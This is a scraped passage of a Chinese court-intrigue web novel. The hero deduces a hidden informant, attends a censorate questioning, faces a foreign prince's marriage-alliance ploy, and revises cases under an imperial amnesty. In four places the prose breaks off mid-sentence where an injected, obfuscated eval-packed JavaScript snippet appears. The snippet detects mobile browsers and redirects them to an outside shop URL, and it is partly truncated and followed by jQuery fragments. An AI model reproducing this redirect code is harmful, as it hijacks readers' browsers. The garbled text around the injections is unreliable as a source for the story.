凌芷抬眸看见北寰言,眼睛立即弯成月牙,笑道:“我马上就写完了。”说罢又低头去写。 北寰言知道凌芷最近都在忙着种曼陀罗,写日记。 他低头看见凌芷手上的小本本上密密麻麻地记载着许多细节,比如今日天气如何,土壤是不是潮湿,小苗长了几个叶儿。 凌芷最近写的东西多,字也逐渐变得好看。 她写的是小楷,跟她的人一样,小小的,端端的。 她自小不会写的字就喜欢画图表示。北寰言在后面看着,发觉凌芷很有丹青的天赋。她记录曼陀罗生长的时候在小本本上画了许多曼陀罗的图,很是形象。 北寰言跟着凌芷一起蹲下,轻声道:“我帮你找了由头,一会儿再帮世子妃摸脉,可要摸仔细了。” “嗯?” 凌芷回眸,猝不及防看见北寰言近在咫尺的脸,心中猛然一紧。 北寰言避着外面有人,把脸靠得更近,朱唇凑在她的耳边,低声道:“上次你说世子妃用避子汤,这次去摸一定要摸仔细了。” 北寰言身上的徽墨香味徐徐而来。 他的鼻息在凌芷的耳边掠过。 凌芷从未有过这样的感觉,那温热的气息像是夏日里的暖风,烘得她觉得自己的心脏逐渐变得硕大。小小的身体已经快要装不住这种充盈的感觉,快要溢出了。 凌芷耳根红了一片,支支吾吾:“我、我这次一定留意……” 北寰言盯着她手上的小本子,轻声问:“写完了吗?” 凌芷仓促地点头。 “走吧?”北寰言站起身,凌芷两忙把小笔跟小本子收起来。 凌芷为了方便,下药田卷了裤腿。 粉白色的小腿漏在外面,被日光照得透明。 这姑娘怎么一点都不怕热?这都入伏了。 北寰言想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038026|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该让她有点忌惮,便蹙眉道:“下次日头大,就自己打把伞。晒黑了,我就不喜欢你了。” “啊?”凌芷辨不出北寰言说这话目的,只当是他不喜欢被晒黑的小姑娘,立即道,“我知道了!下次我肯定打伞!” 凌芷连忙把裤腿都放了下来,生怕自己真的晒黑了,言哥哥就不喜欢她了。 北寰言看凌芷这般呆,忍不住暗暗笑了一下,而后又立即收住,装出严肃的模样唬她。 不显得很严重,这姑娘肯定不放在心上。 两人从药田出来,北寰言带着凌芷去洗手。 他把伞都倾向凌芷,生怕她再晒到一分,边走边交代:“你一会儿也去喝一碗去暑的药,听见了吗?” “哦。”凌芷洗完手乖顺地点头,“那我先去看看世子妃姐姐了。” “嗯。” 北寰言把凌芷送到阴凉处,把伞收了,送到她手里。 凌芷抱着伞沿着回廊小心翼翼地踩着阴影处往蕊仙殿跑,她到了阴影少的地方,还放慢脚步,侧着身子避过,谨慎地不让廊外的阳光晒到她。 北寰言在后面看着,忍不住颔首,以拳抵鼻,笑了起来。 “啧啧。” 凌信声音从北寰言身后传来,北寰言立即侧目轻咳一声,好似方才只是嗓子不舒服。 凌信负手缓步踱到北寰言身边盯着他,嗤笑道:“怎么?你这个眼高于顶的人,真看上我那个傻妹妹了?” 北寰言没理凌信,转身要走。 凌信才不管北寰言说不说话,追着北寰言在他身后道:“别人家姑娘我不管,可我妹妹我一定要管!女子年纪太小生育对身子不好!凌芷最少也要长到十八九岁才行,你听到了吗?!” 北寰言蹙眉,回眸看了凌信一眼。 凌信睁大了眼睛道:“我会盯着你的!” 北寰言懒得跟凌信争。 凌芷才十三,还没及笄,怎么说得到这事?等她长到十八九岁,还有五六年呢。 五六年啊…… 那时候他都已经过了成人礼了…… 不想不觉得,一想北寰言忽然觉得这时间有点长。 凌信盯着北寰言落荒而逃的背影,意味深长地笑了一会儿,便去药庐去给凌芷熬去暑的汤药。 凌信坐在药炉前面拿扇子扇了会儿炉子,看火还好,便起身去翻晒的药材。 翻了一圈,发觉自己衣服被什么扯了下。 凌信低头看,发觉凌芷小脸通红,委屈巴巴地抓着他衣服,一副要哭的样子。 “怎么了?”凌信看见凌芷这样吓了一跳,“你不是去给世子妃把脉去了?她得绝症了?” 凌芷摇着头,眼泪就掉了下来。 凌信一脸狐疑,放下手中的药,把她拉过来,好好问:“哭什么,说话!” 凌芷豆大的眼泪一滴滴往下掉,凌信想了想问:“你把错脉了?” 凌芷“哇”的一声哭了出来,抱住凌信:“我明明摸到世子妃姐姐服用了避子汤了,可是我方才去摸怎么没有了呢?我是不是诊错脉了啊?哥哥,我是不是不适合学医啊?” 222. 问案 凌芷哭声巨大,凑在凌信耳边,凌信受不了,一把把凌芷扶起来:“你等会再哭,你方才说什么?今天摸到的脉象与刚来府上的时候摸的不一样?” 凌芷擦了一把眼泪点点头。 凌信眼眸微眯,沉思片刻,好似想明白了什么,狠狠地翻了一凌芷一眼,拿手指戳她的额头:“你别哭了,动脑子好好想想,为什么世子妃两次的脉象不一样!” 凌芷迷茫地摇着头。 不一样就是不一样,哪有那么多为什么啊?! 同样的人怎么会这么短的时间内脉象不一样呢?! 难不成是前面用了后面没……用?! 凌芷眼睛一亮。 凌信无奈地提示:“先前你摸出来世子妃用了避子汤,是她刚来临府的时候。现在摸不出来了,不是因为跟你住在一起?” 凌芷眨眨眼睛:“啊……她跟我住,没有跟世子圆房,所以就用不着喝避子汤了!” 凌信真的觉得凌芷有时候傻得可爱。 不过还好,北寰言聪明,他俩在一起脑子可以互补。 凌信转身去看药盅里的去暑药,见已经熬好,便端起来倒了几碗准备端过去吃饭的时候,让他们一人喝一碗。 * 一堆人在膳厅里用饭,气氛很是压抑。 北寰言破天荒在用饭的时候说话:“下午我带你们去御史台,这事不归大理寺管,我无能为力。” 蔚巡生以为他要说什么,连连摆手:“这事你不用操心。” 不用他操心最好。 北寰言用晚饭要回自己院子。 凌芷看见北寰言走了,连忙扒了几口饭,追出去:“言哥哥。” 北寰言听见凌芷喊他便停住回身等她。 凌芷没想到北寰言回身这么快,一下没刹住,扑进了北寰言怀里。 那股徽墨淡淡的香味扑面而来,让凌芷顿时心慌意乱。 “刚用完饭,不要跑这么快。”北寰言蹙眉,“当心胃难受。” 凌芷鼓着嘴,规规矩矩地站好:“我有事找言哥哥。” 她看了看周围,发觉这里离膳厅太近了,连忙拉住北寰言的胳膊:“我们去你院子说。” 到了蔚兮堂,凌芷心有余悸地回头去看身后,见没人跟着,才跟北寰言说:“我方才去摸过世子妃姐姐的脉象了。她好像来临府跟我住了以后,就没用过避子汤了。已经摸不出来了。” 北寰言闻言思绪转得飞快。 来了临府没跟蔚巡生住一起,便没再服用避子汤…… 这避子汤,如果是世子妃自己服用的,那便是不想有蔚巡生的孩子。不想有蔚巡生的孩子,就意味着这个进入王府冲喜的盲女从一开始就知道自己的身份。 可这不对。 北寰舞才带世子妃去认了锦家的家徽。 如果世子妃从一开始就知道养自己的人是锦家,不可能见到锦四姑娘是那种表情。而且如果世子妃知道养父一直在拿锦家的钱养着她,不可能在养父那里受尽折辱。 所以世子妃不可能从一开始就知道锦家一直在给养父钱,让养父养着她。 但如果这避子汤不是世子妃自己喝的,那便是别人喂她喝的了。 是勤王府吗? 北寰言回想这几日蔚巡生与世子妃在一起的样子,两人感情很好。 世子妃平民出身,冲喜入府,身份卑微。 如果不是蔚巡生喜欢,这姑娘根本不可能跟着蔚巡生一起来许都。一定是蔚巡生说服他母亲勤王妃,让这姑娘以世子妃的名义来许都接受玉牒。 能来带许都拜见陛下,意味着勤王府已经认可了这门婚事,不打算换。 既然不打算换,世子妃有孕对勤王府百利而无一害,喝避子汤这事肯定不是勤王府做的。 那么,剩下的只有…… 北寰言沉吟片刻,得出一个结论——勤王府有内奸,是这个内奸喂世子妃喝的避子汤。 这个内奸是谁,根本不难猜。 如果说锦妃是对方放在明面上的一颗棋子,对方利用锦妃想让自己儿子当太子的贪欲把勤王府拿在手上,其目的为的是让陛下与西境相互猜忌…… 但…… 北寰言抬眸望着天际容容密云,忽然发觉锦妃这一步棋,走到这里已经无路可走了。 除非…… 北寰言负手缓行——除非对方再临时制造出什么混乱,把蔚巡生与姚子安强行留在许都。 “在想什么呢?” 蔚巡生拿手在北寰言眼前晃了一下。 北寰言回过神,发觉凌芷已经不见了,身边只有蔚巡生。 蔚巡生虽然才马上要去御史台,但他一副从容淡定的样子就知道这人来许都是有备而来。 只是通过世子妃喝避子汤这一件事,北寰言就一眼看到了对方在锦妃这里布局的尽头。 现在他要做的就是耐住性子,等对方先出手。 北寰言想明白一切以后,往屋里走:“休息一会儿,我带你们去御史台。” 蔚巡生见北寰言有午休的习惯便也不跟着,只是与姚子安在院子里窃窃私语。 不知道蔚巡生是不是故意的,他俩说话的声音越来越大,大到可以穿透北寰言屋子窗户,直直进入他的耳朵。 “我看他没有想帮我们的意思。”姚子安闷闷道。 蔚巡生笑着反问:“你怎么知道他没帮?平日这个时候,那些小将军请你晚上出去喝酒的拜帖应该送到了,怎么今日这么安静?” 姚子安张了张嘴。 蔚巡生道:“今日御史台参我们西境图谋不轨,平日里与你交好的那些军门对这种事很忌讳,此时对你敬而远之是为了自保。但你看北寰言,他可有跟我们说,让我们出去住?” 姚子安垂眸,他听明白了蔚巡生的意思。 蔚巡生故意放大了声音:“有些人,刀子嘴豆腐心,说不管我们,其实心里记挂得很——” “嘭”的一声,北寰言房门大开:“不想休息,现在就去御史台。不要在这里聒噪,扰了太傅午休!” 蔚巡生双手拢在衣袖里,笑眯眯地往北寰言身边凑:“我这不是记你好么?怎么?不高兴我时时刻刻都记着你啊?” 北寰言懒得理他,快步往府外走去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050544|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >* 马车上蔚巡生闭着眼,靠在车壁上闭目养神。 可他又不像是睡着的样子,眼皮底下眼珠一直在动,似乎在想一会儿去了御史台怎么应对。 进了宫门,立即有三个小内官跟上北寰言,北寰言请其中一个内官去御史台通报,那内官立即欠身应下,一路小跑去了御史台。 北寰言带着蔚巡生到御史台,锦海站在外面恭迎。 北寰言上前欠身行礼:“不知道锦中丞方不方便让我旁听?” 北寰言这话说出来是商量的语气,但其实没得商量。 锦海只能点头应下,让北寰言跟着他一起去旁听。 眼下按照品阶,所有人的品阶都没有蔚巡生世子的品阶高,堂上之人审蔚巡生只能站着审。 北寰言亦是站着听审。 锦海问蔚巡生对今日早朝参奏的事可有说辞。 蔚巡生双手拢在衣袖里,慢条斯理道:“西境军务,只要中丞去查下便知。每到暑热,西域多国河水便会断流。东陵西境边境线百里之外,有整个西域唯一条四季不干的河。每到夏季,西境城防总是这般紧张,历年军报皆可查证。并不是只有今年西域不安分。” 姚子安也跟着解释了二十年前那场让他们父辈扬名立万的浩天之战。 百里之外的事,西境从来都不会掉以轻心。 眼下西境边境线已经向外扩展八十里,以备不时之需。 锦海确实不懂军务,这事蔚巡生与姚子安这么解释,他只能听着。 可他还不算太蠢,知道从别的地方入手:“那商禄王朝的玉玺是怎么回事?” 蔚巡生淡淡道:“境外黑市顺手买的东西,谁也没想到一两银子就买到了。” 锦海似乎抓到了疑点:“好端端的,世子去境外黑市做什么?” 蔚巡生看锦海如此着急,不紧不慢地看向北寰言:“是呢,那时候去境外黑市做什么呢?言少卿?” 北寰言蹙眉,心中暗道,这人还真是个无赖,卖他的时候,毫不手软。 锦海注意力被蔚巡生带到北寰言那里,睁大眼睛盯着北寰言。 北寰言颔首淡淡道:“奉旨查案,不便透露。” 锦海不想审了。 这根本就审不下去! 他问蔚巡生为什么去黑市,蔚巡生就问北寰言为什么去黑市。 如果在这件事上锦海敢说蔚巡生在境外黑市私通西域,那么当时在黑市的北寰言也脱不开干系。 只是问了几句话锦海就知道自己碰了一个不该碰的硬茬。 历朝历代,手握重兵的边关将领涉嫌谋反、通敌、叛国这三个罪名,都是胆怂三分。 可偏偏蔚巡生不但不怂,反而两句话就把当朝宰辅给拉入了西境这摊烂泥中。 这案子问不下去,锦海只能放人。 回去的一路上,北寰言都蹙着眉。 蔚巡生这人何止是无赖,简直是无耻。 他自己说不清楚,现在也想让他跟他一起也说不清楚。 回去的一路上北寰言像是闹情绪一般,任凭蔚巡生怎么努力跟他搭话,他都不应。 223. 欲擒故纵 北寰言闭目养神,想在马车上重新想想西境的事。 奈何蔚巡生一直烦他:“怎么样?我方才在御史台表现如何?” 北寰言不睁眼,也不应。 “哎,你这样可就没意思了。说句话啊,你看见没,那锦海问到最后脸都绿了。”蔚巡生故意往北寰言身边凑。 北寰言岿然不动,当做蔚巡生不存在。 他就不信蔚巡生真敢腻在他身上。 “啧啧,”蔚巡生的鼻息在北寰言耳边来回摩挲,言语里很是暧昧,“言少卿,这般冷漠,可是伤了我的心啊……” 北寰言强忍着,才硬是没跟蔚巡生说一句话。 到了临府,北寰言立即起身下马车,片刻都不想多留。 这人怎么可以脸皮这么厚? 蔚巡生三番五次调戏北寰言都没成功,兴趣大减,只能无聊地跟在北寰言身后回院子休息。 晚饭的时候,北寰言跟在蔚巡生与世子妃的身后,看着他俩凑在一起说悄悄话。 有一种奇怪的感觉在北寰言心底绽开。 蔚巡生的病、生辰八字冲喜、世子妃喝避子汤、御史台参西境、锦家出头…… 这一切都形成了一个完美的闭合。 可这里面有两个因素是不可控的——他们怎么就知道蔚巡生一定会娶束茗呢?他们怎么知道束茗一定会追查自己的身世呢? 即便是蔚巡生一直病重,他们也不能保证勤王府一定会找一个姑娘来与蔚巡生成婚冲喜啊? 北寰言百思不得其解。用饭的时候一直在思考这个问题。 用完饭,所有人都走了,只剩下北寰舞,北寰言才把自己心中疑虑说出来。 北寰舞沉思片刻,忽然想到了一个点。 与此同时北寰言也似乎想到了这件事最开始的那条线索。 北寰舞与北寰言心有灵犀地对视一眼,北寰舞便起身出了临府。 一直到万寿节前,临府上下都是一片死寂。 姚子安因为御史台折子,出不了许都,去不了校场。 他们相当于与西境军失去了联系,被圈禁在许都。 蔚巡生看姚子安闷闷不乐也变得沉默,他在太傅那里学习都静不下心,最后太傅便不再讲东西,只让蔚巡生练字静心。 北寰言自从那日上了早朝以后,便日日早起去上朝。 北寰言只有朝堂上出了大事才会出现在议政殿,现在他日日来议政殿,一连多日朝堂上气氛紧张至极,人人自危。 来许都贺寿的各国使团都陆续到达官驿,这几日上朝来参拜的使团源源不断。 许景挚坐在龙椅上笑得脸都僵了,私下用饭的时候跟景雀闹了一通脾气。 景雀连哄带骗,才把许景挚又哄得坐在龙椅上接受各国使团参拜。 终于在万寿节前一天乌族使团才姗姗来迟。 以乌族三少主漠勒为首的使团上朝贺寿的时候,朝廷上气氛都变得凝重。 这一晚,许景挚在宫里设宴款待漠勒。出席宴会的口谕老早就送到了临府,北寰舞望着内官宣旨,跪下听命。 宴会上,男女同席。 许景挚这意思再明显不过了。 北寰舞身着一身嫩黄色的宫装,带着几个侍女从殿后缓缓而入,跪坐在许思的身边。 整个许都皇城里现在就两个适龄的姑娘。 一个是嫡公主许思,一个是安王府郡主北寰舞。 宴会上推杯换盏,舞乐升平。 北寰言坐在北寰舞对面,与漠勒一排。他看不见漠勒的目光一直落在哪。 直到漠勒起身,走向对面那两个姑娘,北寰言心里跟着一紧。 “漠勒敬公主一杯酒,还请公主赏脸。”漠勒走到许思面前敬酒,吓得许思一愣。 她怎么也没想到漠勒看中的是她。 北寰言蹙眉看着漠勒与许思说话,把北寰舞晾在一边,心觉不妙。 这人不是个善茬。 北寰舞不看漠勒也知道漠勒借着给许思敬酒的机会,站在了许思的侧面,目光看似落在许思身上,其实一直在名正言顺地看她。 那审视带点情欲的眼神,让北寰舞觉得恶心。 这乌族三少主兵法没少看,欲擒故纵、声东击西这一招,他用得甚好。 酒过三巡,漠勒便借着酒劲说自己想娶东陵的好姑娘。 这是漠勒发出的和亲邀请。 许景挚一直坐在上面看着漠勒一举一动,这人全程都在跟许思搭话,好似中意嫡公主。 可皇后就这一个女儿,怎么可能让着女儿远嫁? 许景挚也借着酒劲说自己不胜酒力,要先回去休息,避开了漠勒的话头。 漠勒倒是不急,反正他有的是时间。 退席之后,漠勒还特地拦住许思公主銮驾,跟许思说话。 北寰言带着北寰舞从旁走过,两人不约而同地对视了一眼。 心里想的都是——这人是故意的。 出了宫门,上了马车,北寰舞靠着车窗坐,眉宇微蹙沉默不言。 北寰言深吸一口气,道:“不然你出去避避风头?” 北寰舞摇头:“没用。与漠勒和亲这事,若是在陛下心里比什么都重,我躲到哪里,都会被陛下召回。” “也不是没办法,”北寰言想了想道,“祖母在乾静庵里,你若真的不想,去乾静庵陪一年祖母,也能靠拖把这件事拖黄。” 北寰舞还是摇头:“对方这一计狠毒至极。我们这次阻力不是乌族三皇子漠勒,而是以萧皇后为首的百年萧家。萧家虽然到皇后这一辈没落了,可她们百年名门,积累下来的声望财富无人能及,不然陛下也不会选萧家女当皇后。我们虽然身为皇家血脉,但皇后才是稳住整个后宫的一根定海神针。若是萧皇后开口请求,恐怕在和亲这事上,陛下也要给萧家三分薄面……毕竟萧皇后为了陛下,自愿服了红花,以没有皇子为代价成为了陛下的一把刀。这刀好用,陛下舍不得扔,倒是我们丢了那批数额巨大的硝石,眼下蔚巡生又在临府住着,此时有人在陛下耳边吹耳旁风,硬说我们与西境合谋,陛下也不得不防。” 对方杀招一环扣着一环,即便是北寰言已经做好了准备,却还是没想到对方险恶至极,竟然把以萧皇后为首的外戚势力也拉入其中。 漠勒来和亲,就是对方放给北寰双子内忧外患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063868|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杀招。 北寰言缓缓闭上眼,把所有的事情从头捋一遍。 从现在开始,走错一步那便是万劫不复。 * 咸宁殿里许思抱着萧皇后哭得眼睛红肿。 萧皇后看着女儿如此,心也跟着碎了一地。 “母后,我不想嫁去乌族。他们那北蛮之地,生活艰苦不说,还有那些违背天伦人理的事!”许思眼睛里豆大的泪珠直往下掉,“我不想成为那些蛮子的玩物。母后、母后帮我想想办法,我不想去和亲……呜呜呜……” 萧皇后如何不急。 合宫夜宴上那漠勒只跟许思说话,坐在边上的北寰舞他看都不看,摆明了就是想要娶东陵唯一一个嫡出公主。 萧皇后看在眼里急在心里,只是漠勒在那种场合提出和亲的意愿,就算是许景挚也无法立即驳回去。 好在许景挚聪明,装醉避开了话头。在众目睽睽之下拖延了时间。 这时间就是留给萧皇后想办法。 万寿节结束,漠勒来和亲的事情也必须有个结果。 可漠勒现在住在宫里,也没说自己什么时候走。 装醉只能解决一时,不能解决一世。 许思在萧皇后面前哭累了就不再哭了,可她哭得太狠,一直抽泣根本止不住,萧皇后帮她擦着眼泪,心疼地替她揉着背后,让春月带公主去后殿休息。 萧皇后蹙眉深觉这事不好办,自己拿不出个主意来,想着以前白成还没去内务府的时候,遇见这种事,她都要听听白成的主意,于是便让春蓝去宣白成过来。 夜已深。 咸宁殿内,夏季繁茂的枝叶把挂在夜幕中的新月分成了几份。 两个人踏着月光,从阴影中往正殿去。 * 承恩殿内许景挚已经睡着了。 今日他摆宴宴请漠勒,又有许多大臣陪同难免多喝了几杯。从宴席上退下来,许景挚就有些走不稳。景雀把人架在身上,半背着回了承恩殿。 许景挚倒头就睡,连衣裳都没换。 喝醉的人沉得跟石头一样。 景雀只能先把许景挚的外衣解开,一层一层地往下脱。 几个内官一起帮许景挚翻身换衣裳,这才把一身酒气的衣裳给换下来。 换完衣裳,殿内的内官就全部退了出去。 景雀把许景挚挪得躺好,发觉后院窗户上印出一个人影。 他缓步起身,到后殿,找到那个人影。 那人影是内官模样欠着身,低声道:“萧皇后招白总管去咸宁殿了。” 景雀眸光微敛,应了一声:“你去罢。” 那内官不再说话,只是急急转身便走了。 景雀从后殿回来,缓缓坐在床榻边,若有所思。 忽然身后一阵风,整个人便被人抱住了:“想什么呢?还不来跟爷一起睡觉?” 景雀微微侧目:“陛下还没睡?” “那点酒,想要灌醉你十六爷,还早。”许景挚爬上景雀的肩头,把头压在他肩膀上道,“方才爷见你出去了。” 景雀点头:“有人来跟奴回禀说,方才皇后招白总管去了后宫。” 224. 大赦 许景挚闭着眼迷迷糊糊道:“白成啊……内务总管半夜被主子招到后宫去,也是常事。更何况,他是皇后一手提拔的。” “爷,”景雀微微回过神,挪开肩膀,“方才在合宫夜宴上,漠勒一直跟公主喝酒搭话。看那样子,似乎漠勒很中意公主殿下。” 许景挚缓缓撑开眼:“他一个在部落里不得势的皇子,想要娶爷唯一的女儿?他也配?” “公主娇贵,陛下当然不会让公主远嫁。可这和亲的事总要有个说法,”景雀蹙眉,“陛下这拖字诀也只能用到万寿节结束……” 许景挚从景雀身上挪开,坐直了身子,用一种审视的目光盯着他:“怎么?在这事上,你有话说?” 景雀张了张嘴,立即发觉许景挚话里有话。 当即起身,跪在床前,俯首一叩:“奴多嘴了。” 许景挚盘腿坐在床榻上,睨着跪在地上的诚惶诚恐的景雀,声音渐冷:“你现在是孤的人,吃孤的饭,睡孤的床,自然是跟孤一条心。即便是安王妃有恩与你,你倒也不必这么事事替安王府着想。她那个人,主意比谁都大,用得着你如此费尽心机在这边帮她游说?” 景雀低着头,不敢说话。 景雀陪在许景挚身边十八载。 自诩已经对许景挚的脾性了如指掌。 但今日这事,他想替北寰舞多说一句话,就立即让许景挚不爽。 可见许景挚已经打定了主意要与北境乌族三皇子和亲,为了踏平北境乌族,为了东陵江山,即便北寰舞再得许景挚的喜欢,他能舍得出去。 北寰舞到底不是许景挚亲生的。 嫡公主许思才是整个东陵最尊贵的姑娘。 许景挚起身,穿上木屐就往殿外走。 景雀立即起来跟上,去拿衣裳要给许景挚披上。 许景挚回眸,阴冷的眼神喝退了景雀。 景雀只好把衣裳递给身边的内官,让他跟着点许景挚。 自己驻足在承恩殿门口,不敢再跟上去。 * 许景挚出了承恩殿,转向咸宁殿。 跟在身后的内官,连忙把衣裳递给许景挚。 许景挚看了一眼,拉过来套上,一路疾行,带着怒意。 许景挚到咸宁殿的时候,白成还没走。 萧皇后与白成一起迎许景挚。 许景挚入殿,目光落在白成身上,问萧皇后:“这么晚了,你找白总管何事?” 萧皇后看了一眼白总管,垂首回道:“许思回来就一直哭闹,我想着许思以前在咸宁殿里最喜欢白总管,便让他来劝劝公主。” 许景挚蹙眉:“闹什么?” 萧皇后叹了一口气,道:“还不是乌族和亲的事……” 许景挚当即道:“你让她不必担心,孤就她这么一个女儿,万不可能让她去乌族和亲。” 萧皇后听许景挚这么说,心就放下了一半。 萧皇后给白成一个目光,白成立即领悟,欠身道:“陛下,公主已经休息了。奴这就退下,请陛下、皇后安睡。” 许景挚挥挥手让他去。 萧皇后看着白成出去,才去与许景挚坐在一处,声音软软道:“我已经训过公主了。她身为一国公主,不可这么自私。和亲这事有关两国邦交,是国家大事,岂是她一个女儿家可以定夺的。” 许景挚侧目,拉起皇后的手:“她是我们俩唯一的孩子,是东陵唯一的公主,和亲这种事不用她去。” 萧皇后闻言眼睛就红了一圈:“多谢陛下体恤。可这么大的事,还是要陛下定夺。” 萧皇后不愧是许景挚钦点的人,在这事上,她知道许景挚有主意,根本不会跟景雀一样妄自揣摩陛下的心思。 百年萧家有无数人替萧皇后趟过前朝后宫这些谋算。 即便是她心里着急,也能在这种时候稳住心神,不让许景挚厌了她。 许景挚深吸一口气眼眸微眯:“你选几个模样出挑伶俐的宫女,送到漠勒的寝殿,好生伺候着。这事先托一阵,等万寿节过了再说。” 萧皇后点头说这事记在心里了。 许景挚实在是困,当即拉着皇后往寝殿去休息。 * 翌日就是万寿节。 许景挚早朝接受了百官的朝拜与各国使节的贺词,时间一晃便到了午饭时间。 用午饭的时候,景雀一直低头垂眸伺候,一句话都不多说。 许景挚看出来这小东西是为着昨晚的事跟他闹脾气,便也不搭理他。 许景挚想着,他该想明白自己是谁的人。 上次北寰言跟他在御书房争执,景雀就故意打碎了茶盏,转移他注意力。这账他还没跟他算。 两人之间的气氛莫名其妙地冷下来,殿里伺候的内官们都面面相觑,不敢大声喘气。 许景挚用了午膳以后,便去咸宁殿,接受后宫嫔妃们的祝贺。 他兴致不高,只看了皇后献上的生辰礼,便匆匆走了。 今天下午是锦海进宫与锦妃私会商量拿蔚巡生如何的时间,许景挚当然要给他们俩留够时间。 他派景雀跟着锦妃。 锦妃与锦海去了宫里偏僻的院子谈话。好巧不巧景雀被锦妃身边的大宫女岚雨给撞破。 景雀心下一沉,稍稍使了手段,调转身位,假意是走到这里不小心撞见她们的样子,步步要往假山后面逼去找锦海。 锦妃吓得脸色惨白,连连阻拦。 景雀只是奉命盯着他们,也不是真的要揭锦妃的老底,便顺理成章地问锦妃要了岚雨,说他很喜欢岚雨这个姑娘。 这是景雀第一次在宫里仗势欺人。 锦妃如今忌惮景雀在陛下面前的盛宠,不得不把自己贴身伺候的大宫女送给景雀。 景雀正盘算着怎么从岚雨口中套出她主子锦妃这些年来干的好事,不曾想岚雨居然因为惧怕内官折磨人的手段,撞墙自尽了。 景雀走过去,轻轻地试了试鼻息。 还活着。 很好。 景雀眼眸微眯跟锦妃说:“抬到承恩殿去。我的人,死也要死在我哪里。” * 北寰言跟众臣工一起上朝敬献贺言之后,便出了宫,往大理寺去。 陛下大寿,大赦天下。 大理寺许多案子都要改判,北寰言原本以为现在只有他会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081236|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种节日档口来大理寺点卯,没想到进了大理寺档房,看见新从刑部调任过来的另一位大理寺少卿陆休也在。 “陆少卿……”北寰言欠身一礼。 陆休连忙回礼,道:“言少卿怎么这个点来了?” 北寰言道:“陛下大寿大赦天下,便想着来大理寺看看如何改判。总是闲来无事。” 陆休今年三十有一,是个干事的人。 许景挚在识人善用这一块拿捏得恰到好处。 北寰言虽在大理寺挂名为大理寺少卿,可实际的掌控权在陛下,不归大理寺管。 北寰言每次都是奉旨查案,桩桩件件都是动摇官场的大案。 陛下只是想给北寰言一个方便查案的身份,给北寰言一个方便上朝的官职,这才封了他为大理寺少卿,同中书门下三品。 陆休从刑部调任大理寺少卿,面上与北寰言同级,但其实那些震惊朝野的大案只凭他,根本不可能破。 但跟着北寰言就不一样了。 北寰言专查大案,名声在外,在朝廷上得罪了不少官员,无心仕途。他抓回来总需要人手来审,现在所有人都知道只要跟着北寰言一起干,就能在陛下那里出头。 纵尚就是从沁春城开始,跟着北寰言一起查案审案,一年之内官升三级。 朝堂上哪有人不眼红纵尚的? 陆休知道这次是他平步青云的好机会,所以干事也特别勤谨。 北寰言身上压着事,无法安坐大理寺内帮汤邢处理棘手的案子,看见陆休能替大理寺办差,便也不由得想帮陆休。 “陆少卿调任到大理寺这些时日,可还习惯?”北寰言走过去跟他一起整理起卷宗。 陆休苦笑:“就差住在寺里了。” 北寰言手上翻的这一摞卷宗是他审结的,他记得里面所有的结案陈词。 很快便把手上的这一摞卷宗改判完了。 换一摞,北寰言只看字迹就知道这一摞卷宗是汤邢亲自审结的。 这一摞卷宗有意思得很,案子基本都牵扯许都权贵。 北寰言翻着这些卷宗,想着汤邢如今家里情况,大约是他三儿子已经入仕,他为着自己儿子的前途着想卖了些人情给这些人。 北寰言默不作声地看着,顺手就翻到了一个案子。 这案子是户部侍郎秦中家儿子秦谷怂恿家丁打人致残的案子。 这案子判户部侍郎家赔付医药费,打人的那些个家丁判了几年牢狱 “这案子,”北寰言把这案子捞出来,“大赦改罚没五万两银子。对外就说是我复核的。” 陆休侧目看过来,这原本也不是什么大案。 许都纨绔子弟在外贪玩,仗势欺人也是有的。不单单是户部侍郎这一家才有的事。 陆休想着北寰言这事是否小题大做了。 “何必呢?五万两银子不是小数。别说这些家丁拿不出,即便是户部侍郎也未必拿得出来。”陆休道。 这事牵扯秦谷,北寰言不费吹灰之力就拿到一个扣人的由头,怎么可能会放过? “死罪可免,活罪难逃。”北寰言眸光犀利,“花钱消灾,他们给不起,也要凑到。” 225. 挑事 说罢便提起朱笔,在结案处写明:大赦,改罚没白银五万两。 他又拿出自己的私印盖上了自己的名。 